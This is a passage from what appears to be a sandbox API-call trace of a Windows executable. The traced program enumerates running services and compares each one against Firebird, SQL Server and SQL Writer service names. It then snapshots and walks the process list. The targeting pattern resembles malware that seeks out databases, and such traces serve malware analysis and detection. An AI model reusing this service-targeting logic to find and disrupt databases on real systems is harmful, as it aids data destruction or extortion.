dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0137.345] GetLastError () returned 0xea [0137.345] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0137.345] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0137.346] CloseServiceHandle (hSCObject=0x443dfe0) returned 1 [0137.346] lstrlenW (lpString="Appinfo") returned 7 [0137.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0137.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0137.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0137.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0137.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0137.346] lstrlenW (lpString="AppXSvc") returned 7 [0137.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0137.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0137.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0137.347] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.347] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0137.347] lstrlenW (lpString="Audiosrv") returned 8 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0137.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0137.347] lstrlenW (lpString="BFE") returned 3 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0137.347] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0137.347] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0137.347] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0137.347] lstrlenW (lpString="CDPSvc") returned 6 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0137.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0137.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0137.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0137.347] lstrlenW (lpString="ClickToRunSvc") returned 13 [0137.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0137.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0137.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0137.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0137.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0137.348] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0137.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0137.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0137.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0137.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0137.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0137.348] lstrlenW (lpString="CryptSvc") returned 8 [0137.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0137.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0137.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0137.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0137.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0137.348] lstrlenW (lpString="DcomLaunch") returned 10 [0137.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.348] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0137.348] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0137.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0137.348] lstrlenW (lpString="DeviceAssociationService") returned 24 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0137.349] lstrlenW (lpString="Dhcp") returned 4 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0137.349] lstrlenW (lpString="Dnscache") returned 8 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0137.349] lstrlenW (lpString="DPS") returned 3 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0137.349] lstrlenW (lpString="DusmSvc") returned 7 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0137.349] lstrlenW (lpString="EventLog") returned 8 [0137.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0137.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0137.349] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0137.349] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0137.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0137.350] lstrlenW (lpString="EventSystem") returned 11 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0137.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0137.350] lstrlenW (lpString="FontCache") returned 9 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0137.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0137.350] lstrlenW (lpString="gpsvc") returned 5 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0137.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0137.350] lstrlenW (lpString="iphlpsvc") returned 8 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0137.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0137.350] lstrlenW (lpString="KeyIso") returned 6 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0137.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0137.350] lstrlenW (lpString="LanmanServer") returned 12 [0137.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0137.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0137.350] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0137.350] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0137.351] lstrlenW (lpString="LanmanWorkstation") returned 17 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0137.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0137.351] lstrlenW (lpString="lfsvc") returned 5 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0137.351] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0137.351] lstrlenW (lpString="lmhosts") returned 7 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0137.351] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0137.351] lstrlenW (lpString="LSM") returned 3 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0137.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0137.351] lstrlenW (lpString="MpsSvc") returned 6 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0137.351] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0137.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0137.351] lstrlenW (lpString="NcbService") returned 10 [0137.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0137.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0137.351] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0137.352] lstrlenW (lpString="netprofm") returned 8 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0137.352] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0137.352] lstrlenW (lpString="NgcSvc") returned 6 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0137.352] lstrlenW (lpString="NlaSvc") returned 6 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0137.352] lstrlenW (lpString="nsi") returned 3 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0137.352] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0137.352] lstrlenW (lpString="PcaSvc") returned 6 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0137.352] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0137.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0137.352] lstrlenW (lpString="PlugPlay") returned 8 [0137.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0137.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0137.353] lstrlenW (lpString="Power") returned 5 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0137.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0137.353] lstrlenW (lpString="ProfSvc") returned 7 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0137.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0137.353] lstrlenW (lpString="RpcEptMapper") returned 12 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0137.353] lstrlenW (lpString="RpcSs") returned 5 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0137.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0137.353] lstrlenW (lpString="SamSs") returned 5 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0137.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0137.353] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0137.353] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0137.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0137.353] lstrlenW (lpString="Schedule") returned 8 [0137.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0137.354] lstrlenW (lpString="SecurityHealthService") returned 21 [0137.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0137.354] lstrlenW (lpString="SENS") returned 4 [0137.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0137.354] lstrlenW (lpString="ShellHWDetection") returned 16 [0137.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0137.354] lstrlenW (lpString="Spooler") returned 7 [0137.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0137.354] lstrlenW (lpString="StateRepository") returned 15 [0137.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0137.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0137.354] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0137.354] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0137.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0137.354] lstrlenW (lpString="SysMain") returned 7 [0137.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0137.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0137.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0137.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0137.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0137.355] lstrlenW (lpString="SystemEventsBroker") returned 18 [0137.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0137.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0137.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0137.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0137.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0137.355] lstrlenW (lpString="Themes") returned 6 [0137.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0137.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0137.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0137.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0137.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0137.355] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0137.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0137.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0137.355] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0137.355] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0137.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0137.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0137.358] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.359] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.359] lstrlenW (lpString="System") returned 6 [0137.359] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.360] lstrlenW (lpString="smss.exe") returned 8 [0137.360] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.361] lstrlenW (lpString="csrss.exe") returned 9 [0137.361] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.362] lstrlenW 